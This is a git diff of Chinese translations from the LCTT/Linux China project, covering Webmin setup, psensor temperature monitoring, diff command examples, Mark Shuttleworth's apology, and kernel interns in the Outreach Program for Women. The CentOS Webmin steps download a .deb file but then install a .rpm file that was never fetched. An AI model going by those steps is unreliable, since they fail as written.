@ -43,7 +44,7 @@ kickoff是KDE桌面默认的应用启动器。可以直接在kickoff里添加新
|
||||
|
||||
[][1]
|
||||
|
||||
在你要创建快捷方式的合适分类处右击,点击位于顶部的“新条目”按钮,键入应用的名字。
|
||||
在你要创建快捷方式的合适分类处(例如, "Utilities")右击,点击位于顶部的“新条目”按钮,键入应用的名字。
|
||||
|
||||
[][2]
|
||||
|
||||
@ -53,9 +54,9 @@ kickoff是KDE桌面默认的应用启动器。可以直接在kickoff里添加新
|
||||
|
||||
###在xfce桌面上创建快捷方式
|
||||
|
||||
假如你使用xfce桌面,在桌面空白处右击,然后选择“创建启动器”按钮。然后填上快捷方式的详细信息就可以了。
|
||||
假如你使用xfce桌面,在桌面空白处右击,选择“创建启动器”按钮。然后填上快捷方式的详细信息就可以了。
|
||||
|
||||
###在Cinnamon桌面上创建快捷方式
|
||||
###在Cinnamon桌面上创建快捷方式
|
||||
|
||||
假如使用的是Linux Mint的Cinnamon桌面,你可以在桌面空白处右击鼠标,选择菜单“创建启动器”而创建一个应用启动器。
|
||||
|
||||
@ -69,7 +70,7 @@ kickoff是KDE桌面默认的应用启动器。可以直接在kickoff里添加新
|
||||
|
||||
via: http://xmodulo.com/2013/11/create-desktop-shortcut-launcher-linux.html
|
||||
|
||||
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[Caroline](https://github.com/carolinewuyan)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
87
published/201311/How to manage Linux server with GUI.md
Normal file
87
published/201311/How to manage Linux server with GUI.md
Normal file
@ -0,0 +1,87 @@
|
||||
如何使用图形界面Webmin管理linux服务器
|
||||
================================================================================
|
||||
一台典型的linux服务器运行命令行环境中,并已经包括了一些用于安装和配置各种没有界面的服务的基本工具。和一些成熟的具有图形界面的桌面软件相比,就安全性、资源消费和速度来说,仅需要少量的设置无疑是一个优点。
|
||||
|
||||
如果你习惯了使用基于图形界面的软件环境,你也许会想在Linux服务器中是否也有图形界面。典型的Linux桌面环境如`GNOME`、`KDE`等,与它们提供的功能相比,其所占用的系统资源负担是很不值得的,而且还不够安全,因为越多的代码越会带来安全弱点。
|
||||
|
||||
另外一个成熟的桌面GUI的可选替代是使用 **基于Web的管理工具**。现在已经有许多基于Web的配置管理工具,如 [Webmin][1]、[ISPconfig][2]、[Zentyal][3]等。
|
||||
|
||||
在这篇教程中, 我会讲述 **怎样利用基于Web的界面工具来管理和配置Linux服务器**。
|
||||
|
||||
Webmin 是一个用`Perl`语言写的轻量级 (~20 MB) 系统配置工具。 Webmin 具有内置的web服务器, 允许用户通过web接口来配置Linux服务器。 其中一个优点是由于它是基于模块架构的,你可以选择性加载[模块][12]来扩展其功能。
|
||||
|
||||
### Linux服务器上安装Webmin ###
|
||||
|
||||
在 Ubuntu 或 Debian 系统中安装Webmin, 你可以使用如下命令。
|
||||
|
||||
$ sudo apt-get install perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl apt-show-versions python
|
||||
$ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.660_all.deb
|
||||
$ sudo dpkg -i webmin_1.660_all.deb
|
||||
|
||||
在CentOS 或 RHEL 系统中安装Webmin, 使用如下命令:
|
||||
|
||||
$ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.660_all.deb
|
||||
$ sudo rpm -U webmin-1.660-1.noarch.rpm
|
||||
|
||||
### 使用 Webmin ###
|
||||
|
||||
安装好Webmin之后,你可以通过在浏览器中输入 https://\<主机的IP地址\>:10000 来使用。 如果你开启了防火墙, 请确保TCP端口 10000 没有被拦截。
|
||||
|
||||
同时, 请注意你应该使用 HTTPS, 而不是 HTTP。 否则, 会出现重定向错误。 Webmin 默认使用其自己生成的的SSL验证模式。
|
||||
|
||||
一旦你进入了Webmin登录页面, 你可以使用root身份登录 (当然需要输入root账户密码)或者使用具有root权限的任何用户账户登录。 登录成功后, 你可以看到如下Linux服务器的状态信息。
|
||||
|
||||
[][4]
|
||||
|
||||
### Webmin 的特点 ###
|
||||
|
||||
Webmin 一个引以为豪的优点就是它几乎能够配置任何Linux服务器所支持的配置。接下来我来介绍,让你们大体了解它的一些重要功能。
|
||||
|
||||
设置引导时自动启动的服务, 同时显示他们相关配置信息。
|
||||
|
||||
[][5]
|
||||
|
||||
实时监控服务器状态和其他服务, 同时配置定时监控及邮件提醒。 你也可以监控一系列服务器守护进程如 NFS、MySQL、 BIND DNS、Squid proxy、Apache Web server等, 或者监控系统资源如磁盘存储情况、内存使用和网络占用等。
|
||||
|
||||
[][6]
|
||||
|
||||
配置 iptables-based firewall。
|
||||
|
||||
[][7]
|
||||
|
||||
配置本地路由表和网关。
|
||||
|
||||
[][8]
|
||||
|
||||
挂载和配置文件系统。
|
||||
|
||||
[][9]
|
||||
|
||||
通过文件管理接口来查看和修改本地文件,但是这需要浏览器有相关的java插件。
|
||||
|
||||
[][10]
|
||||
|
||||
通过改变Webmin的相关配置,你可以控制管理 IP 地址,添加/删除 Webmin 功能模块,开启双因子认证来使用安全登录功能,或者创建证书验证等。
|
||||
|
||||
[][11]
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://xmodulo.com/2013/11/manage-linux-server-gui.html
|
||||
|
||||
译者:[thinkinglk](https://github.com/译者ID) 校对:[Caroline](https://github.com/carolinewuyan)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.webmin.com/
|
||||
[2]:http://www.ispconfig.org/
|
||||
[3]:http://www.zentyal.org/
|
||||
[4]:http://www.flickr.com/photos/xmodulo/10937800943/
|
||||
[5]:http://www.flickr.com/photos/xmodulo/10937589506/
|
||||
[6]:http://www.flickr.com/photos/xmodulo/10937589676/
|
||||
[7]:http://www.flickr.com/photos/xmodulo/10937801173/
|
||||
[8]:http://www.flickr.com/photos/xmodulo/10937531925/
|
||||
[9]:http://www.flickr.com/photos/xmodulo/10937589556/
|
||||
[10]:http://www.flickr.com/photos/xmodulo/10937531975/
|
||||
[11]:http://www.flickr.com/photos/xmodulo/10937532015/
|
||||
[12]:http://www.webmin.com/standard.html
|
111
published/201311/How to monitor system temperature on Linux.md
Normal file
111
published/201311/How to monitor system temperature on Linux.md
Normal file
@ -0,0 +1,111 @@
|
||||
如何在Linux下监控系统温度
|
||||
================================================================================
|
||||
|
||||
大多数情况下,你无需担心你的电脑温度。除非制造上的缺陷,否则硬件设计一般不会使其超过最高工作温度。但即使没有任何硬件故障,各种各样的软件问题也会导致硬件过热,例如,显卡驱动的严重bug,风扇控制程序的错误配置,CPU调频守护进程的故障,等等。
|
||||
|
||||
严重的过热可能会对硬件造成永久性的伤害,所以应当时刻小心系统上的任何过热问题。因此,如果有合适的温度监控系统,能在系统温度突然急速上升时,第一时间向用户发出警报,岂不美哉?
|
||||
|
||||
本教程,我将描述**如何在Linux下监控系统温度**。
|
||||
|
||||
在Linux下有许多用户级工具可以检查和监控各种系统组件的温度。
|
||||
|
||||
例如[lm-sensors][1],它可以从硬件嵌入式传感器获取信息,以达到监测温度、电压、湿度和风扇的作用;还有[hddtemp][2],它可以通过读取[S.M.A.R.T.][3]参数来测量温度;今天我们要介绍的是[psensor][4],这是一款前端图形化界面温度监测工具,能够可视化显示CPU、Nvidia/ATI/AMD各家显卡以及硬盘等多个硬件设备的温度。
|
||||
|
||||
接下来,我将描述如何设置psensor来监控CPUs和硬盘的温度。
|
||||
|
||||
### 在Linux 桌面系统中安装 psensor###
|
||||
|
||||
使用psensor可视化显示系统温度,需要基于其他工具诸如lm-sensors和hddtemp等获得的数据。因此你需要在安装psensor的同时,一并安装这两款工具。
|
||||
|
||||
在Debian或Ubuntu下安装psensor:
|
||||
|
||||
$ sudo apt-get install lm-sensors hddtemp psensor
|
||||
|
||||
在Ubuntu下还可以通过PPA仓库安装最新版本的psensor:
|
||||
|
||||
$ sudo add-apt-repository ppa:jfi/ppa
|
||||
$ sudo apt-get update
|
||||
$ sudo apt-get install lm-sensors hddtemp psensor
|
||||
|
||||
在Fedora下安装psensor:
|
||||
|
||||
$ sudo yum install lm_sensors hddtemp
|
||||
$ sudo yum install gcc gtk3-devel GConf2-devel lm_sensors-devel cppcheck libatasmart-devel libcurl-devel json-c-devel libmicrohttpd-devel help2man libnotify-devel libgtop2-devel make
|
||||
$ wget http://wpitchoune.net/psensor/files/psensor-0.8.0.3.tar.gz
|
||||
$ tar xvfvz psensor-0.8.0.3.tar.gz
|
||||
$ cd psensor-0.8.0.3
|
||||
$ ./configure
|
||||
$ make
|
||||
$ sudo make install
|
||||
|
||||
这里注意,由于需要GTK3库的支持,psensor无法与搭载GNOME2桌面的CentOs或RHEL 6兼容。
|
||||
|
||||
### 在Linux中配置 psensor ###
|
||||
|
||||
在启动 psensor之前,你需要先配置lm_sensors和hddtemp。
|
||||
|
||||
#### lm_sensors 配置 ####
|
||||
|
||||
运行以下命令,配置lm_sensors,每一项都选择YES。
|
||||
|
||||
$ sudo sensors-detect
|
||||
|
||||
这个命令将会探查和检测你硬件中嵌入的传感器(包括CPUs、储存控制器、I/O芯片),然后自动决定系统中哪个驱动模块需要载入并监测其温度。
|
||||
|
||||
一旦传感器检测完成,你需要把检测到的驱动模块添加到/etc配置中,这样它们才可以在开机时自动加载。
|
||||
|
||||

|
||||
|
||||
在Debian或Ubuntu下,检测到的驱动模块将会被添加到/etc/modules。在Fedora下,驱动信息会添加到/etc/sysconfig/lm_sersors。
|
||||
|
||||
接下来,继续加载必要的模块,如下:
|
||||
|
||||
Ubuntu:
|
||||
|
||||
$ sudo service module-init-tools start
|
||||
|
||||
Debian:
|
||||
|
||||
$ sudo /etc/init.d/kmod start
|
||||
|
||||
Fedora
|
||||
|
||||
$ sudo service lm_sensors start
|
||||
|
||||
#### hddtemp 配置 ####
|
||||
|
||||
你还需要启动hddtemp,监控硬盘驱动器的温度。
|
||||
|
||||
运行下列命令,作为一个守护进程启动hddtemp。记得把“/dev/sda”替换成你系统上的硬盘驱动器。
|
||||
|
||||
$ sudo hddtemp -d /dev/sda
|
||||
|
||||
### 用 psensor 监控系统温度 ###
|
||||
|
||||
要启动psensor监测温度,只需简单运行:
|
||||
|
||||
$ psensor
|
||||
|
||||
psensor窗口将显示一个可用的传感器列表,并将传感器中读出的温度可视化显示出来。你可以选择性地启用或禁用任意一个传感器。
|
||||
|
||||
[][5]
|
||||
|
||||
另外,你可以为每个传感器设置警报级别,这样当传感器温度超过某一阈值时,你就能得到通知了。
|
||||
|
||||

|
||||
|
||||
psensor默认使用的温度单位是“摄氏度”,最新的版本(0.7-0.8)支持在摄氏与华氏之间转换温度单位,如果你用的版本比较旧(例如0.6.x)并且不支持温度单位转换,Ubuntu用户可以通过PPA仓库来安装最新版的psensor,Debian用户则可以通过源代码来安装。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://xmodulo.com/2013/11/monitor-system-temperature-linux.html
|
||||
|
||||
译者:[Luoxcat](https://github.com/Luoxcat) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://lm-sensors.org/
|
||||
[2]:http://www.guzu.net/linux/hddtemp.php
|
||||
[3]:http://en.wikipedia.org/wiki/S.M.A.R.T.
|
||||
[4]:http://wpitchoune.net/blog/psensor/
|
||||
[5]:http://www.flickr.com/photos/xmodulo/10719475225/
|
@ -2,9 +2,9 @@
|
||||
================================================================================
|
||||

|
||||
|
||||
在比较文件的时候,通常会用GUI软件。很少有人真正会为了这个目的使用命令行工具。虽然不会说使用命令行就像散步一样简单,但是如果你是一个Linux使用者,那么我想你应该知道如何通过命令行比较文件,因为你一旦使用了它,它绝对是一个快速的方法。
|
||||
在比较文件的时候,通常会用基于GUI的软件。很少有人真正会为了这个目的使用命令行工具。虽然说使用命令行来比较文件/目录并不像一件小事儿那样容易,但是如果你是一个Linux使用者,那么我想你应该知道如何通过命令行比较文件,因为一旦使用了它,你会认为它绝对是一个快速的方法。
|
||||
|
||||
在本篇中,我们将学习如何使用diff命令通过一些实际的例子。
|
||||
在本篇中,我们将通过一些实例来学习如何使用diff命令。
|
||||
|
||||
### Linux diff 命令 ###
|
||||
|
||||
@ -32,18 +32,18 @@
|
||||
|
||||
$ diff file1 file2
|
||||
1d0
|
||||
< Hi, 2a2 > Hi,
|
||||
< Hi,
|
||||
2a2
|
||||
> Hi,
|
||||
4,5c4
|
||||
< I am fine,
|
||||
< Thank you.
|
||||
|
||||
—
|
||||
|
||||
---
|
||||
> I am fine.
|
||||
|
||||
你可以看见diff后面跟了两个文件的名字作为命令行的参数,并且它在输出中生成了不同。输出并不容易理解。理由是,这是被计算机使用的而不是为了人类。尽管如此,让我们一步步解码输出:
|
||||
你可以看见diff后面跟了两个文件的名字作为命令行的参数,并且它在输出中生成了差异比较。输出并不容易理解。理由是,这是被计算机使用的而不是为了人类。尽管如此,让我们一步步解码输出:
|
||||
|
||||
**注意** – 在下面的文本中,file1和file2将被作为旧文件和新文件。
|
||||
**注意** – 在下面的文本中,file1和file2将被当作旧文件和新文件。
|
||||
|
||||
1d0
|
||||
< Hi,
|
||||
@ -52,23 +52,21 @@
|
||||
|
||||
2a2
|
||||
> Hi,
|
||||
|
||||
这里,2a2行意味着新文件中的第二行应该加到老文件的第二行后。要添加的行显示在输出的下一行用'>'标记。
|
||||
|
||||
这里,2a2行意味着新文件中的第二行应该加到旧文件的第二行后。要添加的行显示在输出的下一行用'>'标记。
|
||||
|
||||
4,5c4
|
||||
< I am fine,
|
||||
< Thank you.
|
||||
|
||||
—
|
||||
|
||||
---
|
||||
> I am fine.
|
||||
|
||||
这里,4,5c4这一行意味着在旧文件中的4到5行现在已被改变并且需要用新文件中的第一行代替。添加和删除的行分别用'>'和'<'表示。
|
||||
这里,4,5c4这一行意味着在旧文件中的4到5行现在已被改变并且需要用新文件中的第4行代替。添加和删除的行分别用'>'和'<'表示。
|
||||
|
||||
那么,来总结一下,
|
||||
|
||||
- 首先diff命令的第一个参数被视为旧文件而第二个参数被视为新文件。
|
||||
- 像1d0 2a2, 4,5c4这种表达式可以用语法解码为 **[旧文件的行号或者行的范围][行为][新文件的行号或者行的范围]**。这里的'行为'可以使追加,删除或者改变替换。
|
||||
- 像1d0、2a2、4,5c4这种表达式可以用语法解码为 **[旧文件的行号或者行的范围][行为][新文件的行号或者行的范围]**。这里的'行为'可以是追加,删除或者改变替换。
|
||||
- '<'代表删除的行,而'>'代表添加的行。
|
||||
|
||||
除了文件外,diff命令还可以比较两个目录。让我们通过一个例子学习。
|
||||
@ -93,7 +91,7 @@
|
||||
|
||||
你可以看到当diff命令被用来比较这两个目录时,很容易就会显示两个文件中缺失的文件。
|
||||
|
||||
下面是在命令行下常用的选项:
|
||||
下面是一些在命令行下常用的选项:
|
||||
|
||||
### 1. 用 -i 忽略大小写 ###
|
||||
|
||||
@ -109,13 +107,15 @@
|
||||
|
||||
$ diff file1 file2
|
||||
1c1
|
||||
< HI — > hi
|
||||
< HI
|
||||
---
|
||||
> hi
|
||||
|
||||
你可以看见diff命令在输出中报告了大小写不同。
|
||||
|
||||
要去除这个默认行为,使用-i选项。
|
||||
|
||||
以下是例子:
|
||||
以下是个例子:
|
||||
|
||||
$ diff -i file1 file2
|
||||
$
|
||||
@ -124,9 +124,9 @@
|
||||
|
||||
### 2. 用 -s 选项报告两个文件相同 ###
|
||||
|
||||
在例子1的后面,我们看到如果文件相同dif不会生成报告。虽然这个默认行为不错但是它仍可能会造成很大疑惑,特别对于新手而言。因此,如果你像样diff命令明确地报告两个文件不同,那么就使用-s命令选项。
|
||||
在例子1的后面,我们看到如果文件相同diff不会生成报告。虽然这个默认行为不错但是它仍可能会造成很大疑惑,特别对于新手而言。因此,如果你像样diff命令明确地报告两个文件不同,那么就使用-s命令选项。
|
||||
|
||||
这是个例子:
|
||||
来举个例子:
|
||||
|
||||
$ diff -is file1 file2
|
||||
Files file1 and file2 are identical
|
||||
@ -138,7 +138,7 @@
|
||||
另外一个常用的是diff报告文件存在不同数量的空格。
|
||||
|
||||
|
||||
以下是例子:
|
||||
举例说明:
|
||||
|
||||
$ cat file1
|
||||
Hi, how are you?
|
||||
@ -146,14 +146,12 @@
|
||||
$ cat file2
|
||||
Hi, how are you?
|
||||
|
||||
观察这两个文件唯一的不同是'are'和'you'之间额外的空格。现在,当使用diff命令比较两个文件时,这个是输出:
|
||||
观察这两个文件唯一的不同是file2中'are'和'you'之间额外的空格。现在,当使用diff命令比较两个文件时,输出如下:
|
||||
|
||||
$ diff file1 file2
|
||||
1c1
|
||||
< Hi, how are you?
|
||||
|
||||
—
|
||||
|
||||
---
|
||||
> Hi, how are you?
|
||||
|
||||
因此你可以看到diff命令报告了不同。但是如果你想要忽略这些空格,使用 -b 选项。
|
||||
@ -169,8 +167,8 @@ diff命令还提供了更多的命令行选项。阅读[man page][1]来获取完
|
||||
|
||||
via: http://linoxide.com/linux-command/linux-diff-command-examples/
|
||||
|
||||
译者:[geekpi](https://github.com/geekpi) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
译者:[geekpi](https://github.com/geekpi) 校对:[Caroline](https://github.com/carolinewuyan)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://unixhelp.ed.ac.uk/CGI/man-cgi?diff
|
||||
[1]:http://unixhelp.ed.ac.uk/CGI/man-cgi?diff
|
@ -0,0 +1,33 @@
|
||||
Mark Shuttleworth为“茶派”及其他错误认错
|
||||
================================================================================
|
||||
**Canonical公司的创始人Mark Shuttleworth他澄清了他的[“茶派”论调][4],为他的言论而表示歉意。**
|
||||
|
||||

|
||||
|
||||
我们并不是每天都能看到Mark Shuttleworth连续道歉两次,很有可能这是第一次。
|
||||
|
||||
[第一个道歉][1]是对收到了Canonical公司法律团队邮件的fixubuntu.com的站长Micah F. Lee,他写了一篇广泛传播的关于这些问题的博客,并且在许多论坛和网站引起了热议。
|
||||
|
||||
Mark Shuttleworth首先在Google+向他道歉,接着他在其个人博客上写了正式的道歉文章,他的博客通常都是用于宣布重要事情的地方。
|
||||
|
||||
这个道歉之后,他又花了一些时间说,他为带来了很多抨击的[“茶派”][2]的说法而后悔,这个事情甚至比他原来认为的还要糟糕。
|
||||
|
||||
“另一方面,从个人角度看,我自己犯了一个错误,当我使用标签“开源茶派”来指那些对Canonical做的事情的非技术评论家。这是不对的,并且的确可能冒犯了真的茶派(注意这里!)以及那些非技术批评家(再看这儿!)。”
|
||||
|
||||
“这并不是说我建议我不需要这样技术反馈,而是一些假定我拒绝了包括技术反馈在内的所有反馈。我没有——我在说对软件的评价,并不是软件本身的中心,而是开发软件的人需求的综合,或者是某个自由软件协议下发布,或者是公司的策略、或者是公司后面的国家”,Mark Shuttleworth[说道][3]。
|
||||
|
||||
|
||||
希望结束在这个事件上的所有的讨论,人们最终将能够接受引发了这次讨论的Mir。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://news.softpedia.com/news/Mark-Shuttleworth-Regrets-the-quot-Tea-Party-quot-Remarks-and-Other-Canonical-Mistakes-398819.shtml
|
||||
|
||||
译者:[Vito](https://github.com/vito-L) 校对:[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://news.softpedia.com/news/Mark-Shuttleworth-Apologizes-for-the-Trademark-Infringement-Letter-Sent-to-Fixubuntu-com-398583.shtml
|
||||
[2]:http://news.softpedia.com/news/Mark-Shuttleworth-Says-That-Mir-Opponents-Have-Formed-the-Open-Source-Tea-Party-392793.shtml
|
||||
[3]:http://www.markshuttleworth.com/archives/1299
|
||||
[4]:http://linux.cn/article-2283-1.html
|
@ -1,34 +1,35 @@
|
||||
延伸项目为Linux内核寻找新的女性实习生
|
||||
===
|
||||
作为[FOSS针对女性的延伸项目][1],这个夏季工作在Linux基金会的实习生们有着多样的背景和水平也高低不等,但是她们至少有一件事情是相同的(除去她们的性别之外)。她们可以在自己的履历中添加一项“Linux内核工作者”。
|
||||
Linux编程女神计划招募新的内核级MM实习生
|
||||
=====
|
||||
|
||||
作为[FOSS的Linux编程女神计划(Outreach Program for Women)][1]的一部分,这个夏季在Linux基金会工作的实习生们背景不同,水平也高低不等,但是她们至少有一件事情是相同的(除去性别之外),就是她们可以在自己的履历中添加一项“Linux内核黑客”。(译注:Outreach Program for Women,OPW此处译作“Linux编程女神计划”带有调侃意味,Just joke,没有恶意。)
|
||||
|
||||

|
||||
|
||||
*针对女性的延伸项目在对Linux内核3.12的贡献已经名列前茅。来源:LWN.net*
|
||||
*针对女性的招募项目在对Linux内核3.12的贡献已经名列前茅。来源:LWN.net*
|
||||
|
||||
在Linux基金会资助的第一批每人5000美元薪水的申请人中,Lisa Nguyen, Xenia Ragiadakou, Elena Ufimtseva, Laura Vasilescu 和Tulin Izer是41获得者中的7名女性女性获得者。她们与Intel、Oracle和Citrix的内核开发者一起工作了三个月,解决了包括X86启动协议和XNUMA拓扑在内的项目。她们拿出了奖金中的500美元出席了并在在新奥尔良或者爱丁堡举行的LinuxCon会议上演讲。
|
||||
在Linux基金会资助的第一批每人5000美元酬金的申请人中,Lisa Nguyen, Xenia Ragiadakou, Elena Ufimtseva, Laura Vasilescu 和Tulin Izer是41申请者中的7名女性女性获得者。她们与Intel、Oracle和Citrix的内核开发者一起全职工作了三个月,处理包括x86启动进程和XNUMA拓扑等项目。她们还利用500美元的旅行奖学金,出席了在新奥尔良或者爱丁堡举行的LinuxCon会议并做了演讲。
|
||||
|
||||
“我并不是总有机会去说,我在LinuxCon北美会议上做志愿者,在LinuxCon北美会议上发表演讲,而且与Linux Torvalds交流了三天!”Nguyen说,她是一个Linux内核实习生,与Orcale的Konrad Rzeszutek Wilk一起解决Xen虚拟机的时钟驱动问题。
|
||||
“我要说能有我这样的机会并不多哦,在LinuxCon北美会议上做志愿者,在LinuxCon北美会议上发表演讲,而且与Linux Torvalds交流了三天!”Nguyen说,她是一个Linux内核实习生,与Orcale的Konrad Rzeszutek Wilk一起解决Xen block 驱动问题。
|
||||
|
||||
除了学习如何创建和提交内核补丁,这些实习生们通过结交新朋友和同事,克服了她们的恐惧心理,为Linux内核的发展作出了明显的贡献。
|
||||
除了学习如何创建和提交内核补丁,这些实习生们通过结交新朋友和同事,克服了她们的恐惧心理,为Linux内核的发展作出了显著的贡献。
|
||||
|
||||
“我不再害怕碰内核代码了”Izer这样说道,她和来自Intel的Peter P. Waskiewicz Jr.一起工作去解决X86的启动进程并行化问题。“这是我第一次对开源项目作出贡献,我以此为自豪。在我的余生,我将接着做下去”。
|
||||
“我不再害怕碰内核代码了”Izer这样说道,她和来自Intel的Peter P. Waskiewicz Jr.一起工作,解决x86的启动进程并行化问题。“这是我第一次对开源项目作出贡献,我以此为自豪。我将接着做下去”。
|
||||
|
||||
###内核贡献着排行榜
|
||||
|
||||
最为一个组织,OPW列出了一个针对Linux3.11内核的贡献排行榜,可参看[在LWN上的权威内核报告][2]。实习生Xenia Ragiadakou给3.11内核贡献了100个补丁,在最活跃的开发者中位列前10。
|
||||
据[LWN 8月内核报告][2],作为一个组织,OPW被列为对Linux3.11内核的主要贡献者之一,提交了230个变更,总体位于第13位。其中,实习生Xenia Ragiadakou给3.11内核贡献了100个补丁,在最活跃的开发者中位列前10!
|
||||
|
||||
“我的主要工作就是添加追踪事件,然后写了一个trace-cmd插件以便于把追踪事件写成利于人们阅读的格式以方便于xhci(驱动)的debug,”Ragiadakou说,她和Intel的内核开发者Sarah Sharp一起做这项工作。“我学习了如何使用git,如何使用静态代码分析工具,以及如何发送补丁,如何查看debug日志,usb子系统是如何组成的,xhci驱动又是如何实现的。”
|
||||
“我的主要工作就是添加追踪事件,然后写trace-cmd插件,以便于人们阅读的格式分析这些痕迹,以方便xhci(驱动)找出问题。” ”Ragiadakou说,她和Intel的内核开发者Sarah Sharp一起做这项工作。“我学习了如何使用git,如何使用静态代码分析工具,以及如何发送补丁,如何查看debug日志,usb子系统是如何组成的,xhci驱动又是如何实现的。”
|
||||
|
||||
在内核3.12上,OPW再次排在了贡献最大的团队或公司之中,这次是排行第11行,有19,649行代码的改动,可参看[LWN的在10月份的分析报告][3]。那代表了在过去最新的一次开发周期中接近2.7%的改动量。
|
||||
据[LWN 10月分析报告][3],在内核3.12上,OPW再次排在了贡献最大的团队或公司之中,这次是排行第11行,有19,649行代码的改动。那代表了在过去最新的一次开发周期中接近2.7%的改动量。
|
||||
|
||||
在她们的实习计划在9月份结束时,她们中的大多数仍然持续对她们开始做的以及打算继续做的项目继续保持这贡献。
|
||||
在她们的实习计划在9月份结束时,她们中的大多数仍然持续做该项目并打算继续做下去。
|
||||
|
||||
“我认为成为一个内核开发者是一件非常酷的事情,将来,我也要继续做这件事情,”Vasilescu说,她和Intel的Carolyn Wyborny以及 Anjali Singha一起解决igb驱动的ethtool属性。
|
||||
|
||||
“我甚至需要学习如何才能停下来。有时候,好吧,是常常,我无法停下来,”Ufimtseva说,她和Citrix的Stefano Stabellini、Dario Fargiolli、George Dunlap一起工作,以解决针对与工作在xen上的并行虚拟机的vNUMA拓扑问题。“我一直努力,最终我贡献的补丁被提交到了高质量代码库里,这真的是很鼓舞人心哇!”
|
||||
|
||||
下一轮Liux内核实习生的截止日期是11月。申请着应当了解c或者c++的基本知识,布尔代数学,对Linux/Unix操作系统有一定的经验,了解Git更好不过也不需要。想了解有关可参加的项目以及申请的更详细信息,可浏览[在内核新闻站点的OPW页面][4]。
|
||||
下一轮Linux内核实习生的截止日期是11月。申请者应有c或c++和布尔代数的基本知识,对Linux/Unix操作系统有一定的经验,了解Git更好,不过不是硬性要求。想了解有关项目以及如何申请的更详细信息,可浏览[ Kernel Newbies上的OPW 页面][4]。
|
||||
|
||||
###Lisa Nguyen
|
||||
|
||||
@ -36,11 +37,11 @@
|
||||
|
||||
**Lisa Nguyen和Oracle的Konrad Rzeszutek一起解决Xen的时钟驱动问题**
|
||||
|
||||
在我成为OPW实习生之前,我已经获得了多个大学学位,如计算机科学,数字辩论和信息安全等。我在过去的两年中持续地使用Linux,我还在Linux社区中充当多种角色,例如项目管理着,man页的作者,LinuxCon会议的协调着以及内核贡献着。
|
||||
在我成为OPW实习生之前,我已经获得了多个大学学位,如计算机科学,数字分析和信息安全等。我在过去的两年中持续地使用Linux,我还在Linux社区中充当多种角色,例如项目管理着,man页的作者,LinuxCon会议的协调着以及内核贡献着。
|
||||
|
||||
**你为什么申请同OPW一起为Linux内核工作**
|
||||
|
||||
我想要一个挑战,想要跳离自己的舒服区域。我要给软件开发一个机会,因为过去我一直面对这自信心问题。一天,我决定要寻求一个有关Linux的职业来代替现在的数字分析工作。当我看到OPW项目出现在Linux基金会在Google+上的博文时,我觉得这是一个在合适不过的机会咯,于是,我想“我为什么不去尝试一下呢?”
|
||||
我想要一个挑战,想要跳离自己的小窝。我要给自己一个软件开发的机会,因为过去我一直面临自信心问题。一天,我决定要寻求一个有关Linux的职业来而不是数字分析工作。当我看到OPW项目出现在Linux基金会在Google+上的博文时,我觉得这是一个再合适不过的机会咯,于是,我想“我为什么不去尝试一下呢?”
|
||||
|
||||
###Elena Ufimtseva
|
||||
|
||||
@ -52,7 +53,7 @@
|
||||
|
||||
**你为什么申请同OPW一起为Linux内核工作**
|
||||
|
||||
我觉得我需要使用低级语言而不是java去软件,例如系统软件。我有一种感觉,我能应对复杂的问题并解决他们。我经常阅读最新的Linux新闻,我觉得最吸引我注意的是Greg在一年前在Google做的关于Linux内核开发着社区以及补丁递交程序等的报告。我觉得“哇,这好好玩哇!”
|
||||
我觉得我想在底层开发软件,例如系统软件,而不是用java。我有一种感觉,我能应对复杂的问题并解决他们。我经常阅读最新的Linux新闻,我觉得最吸引我注意的是Greg在一年前在Google做的“关于Linux内核开发者社区以及补丁递交程序”等的报告。我觉得“哇,这好好玩哇!”
|
||||
|
||||
### Laura Vasilescu ###
|
||||
|
||||
@ -60,7 +61,7 @@
|
||||
|
||||
**Laura Vasilescu 和 Carolyn Wyborny以及Anjali Singhai共同去解决igb驱动的ethtool属性。**
|
||||
|
||||
我认为自己就是一个极客,我对改善教育系统(尤其是罗马尼亚的)有着非常浓厚的兴趣。作为一名学生,我成为一名我所在大学的教师助理的志愿者,我还是罗马尼亚开源教育协会的成员。我的技术专长是网络,操作系统和低级编程语言。
|
||||
我认为自己就是一个极客,我对改善教育系统(尤其是罗马尼亚的)有着非常浓厚的兴趣。作为一名学生,我志愿做我所在大学的教师助理,还是罗马尼亚开源教育协会的成员。我的技术专长是网络,操作系统和底层编程语言。
|
||||
|
||||
**你为什么申请同OPW一起为Linux内核工作**
|
||||
|
||||
@ -72,25 +73,29 @@
|
||||
|
||||
**Tulin Izer和来自Intel的Peter Waskiewicz一起去解决x86系统的启动进成并行化问题。**
|
||||
|
||||
我来自与土耳其。我是一名来自于伊斯坦布尔的Galatasaray大学的计算机工程专业的学生。今年我大四。
|
||||
我来自于土耳其。我是一名来自于伊斯坦布尔的Galatasaray大学的计算机工程专业的学生。今年我大四。
|
||||
|
||||
**为什么你申请同OPW一起为Linux内核工作**
|
||||
|
||||
我对操作系统以及使用C语言进行变成非常感兴趣,但是我对内核开发没有任何经验,但是我觉的这是一个起步的好地方。
|
